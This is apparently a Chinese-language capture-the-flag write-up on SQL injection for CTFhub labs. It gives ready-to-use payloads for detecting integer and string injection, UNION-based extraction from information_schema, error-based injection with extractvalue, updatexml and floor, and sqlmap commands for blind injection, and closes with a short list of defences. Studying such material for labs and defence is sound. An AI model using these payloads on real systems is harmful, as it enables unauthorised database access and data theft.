CTFhub下的SQL注入
字数 938 2025-08-11 21:26:31
SQL注入攻击技术详解
一、SQL注入基础概念
SQL注入是一种通过在应用程序的输入字段中插入恶意SQL代码来攻击数据库的技术。攻击者可以利用这种技术绕过认证、窃取数据、修改或删除数据库内容。
注入类型检测方法
-
整数型注入检测:
- 输入
1 and 1=1回显正确 - 输入
1 and 1=2回显错误 - 可判断为整数型注入
- 输入
-
字符型注入检测:
- 输入
1'观察回显异常 - 输入
1'#或1'--+回显正常 - 可判断为字符型注入
- 输入
二、整数型注入攻击流程
1. 判断字段数
1 order by 1
1 order by 2
1 order by 3
通过递增数字直到页面报错,确定字段数
2. 确定回显位置
-1 union select 1,2
使用不存在的ID(-1)确保union查询结果被显示
3. 获取数据库信息
- 当前数据库名:
-1 union select 1,database()
- 所有表名:
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
4. 获取表结构
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
5. 提取数据
-1 union select 1,group_concat(flag) from flag
三、字符型注入攻击流程
1. 闭合引号并注释
1'#
或
1'--+
2. 测试逻辑运算符
- AND测试:
1' and 1=1 #
1' and 1=2 #
- OR测试:
1' or 1=1 #
1' or 1=2 #
3. 获取信息(与整数型类似)
-1' union select 1,database()#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
-1' union select 1,(select flag from flag)#
四、报错注入技术
当页面没有明显回显位置时使用
1. extractvalue()函数
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
2. 获取表信息
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
3. 获取列信息
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
4. 处理截断问题
当数据被截断时,使用MID函数:
1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
其他报错函数
- updatexml():
1 and updatexml(1,concat(0x7e,(sql语句),0x7e),1)
- floor():
1 union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x
五、布尔盲注技术
当页面只有True/False两种状态时使用
1. 基本判断
- 输入合法值返回"query_success"
- 输入非法值返回"query_error"
2. 使用SQLMap自动化工具
sqlmap -u http://example.com/?id=1 --dbs
sqlmap -u http://example.com/?id=1 -D sqli --tables
sqlmap -u http://example.com/?id=1 -D sqli -T flag --columns --dump
六、防御措施
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 错误信息处理(不显示详细错误)
- 定期安全审计和渗透测试
七、关键知识点总结
- information_schema数据库:包含所有数据库、表、列等元数据信息
- group_concat()函数:将多行结果合并为单行
- union select:联合查询获取额外信息
- 注释符号:
#、--、--+ - 报错函数:extractvalue、updatexml、floor等
- 字符串处理函数:mid、substr等用于处理截断问题
通过掌握这些技术,安全人员可以更好地理解SQL注入原理,从而更有效地防御此类攻击。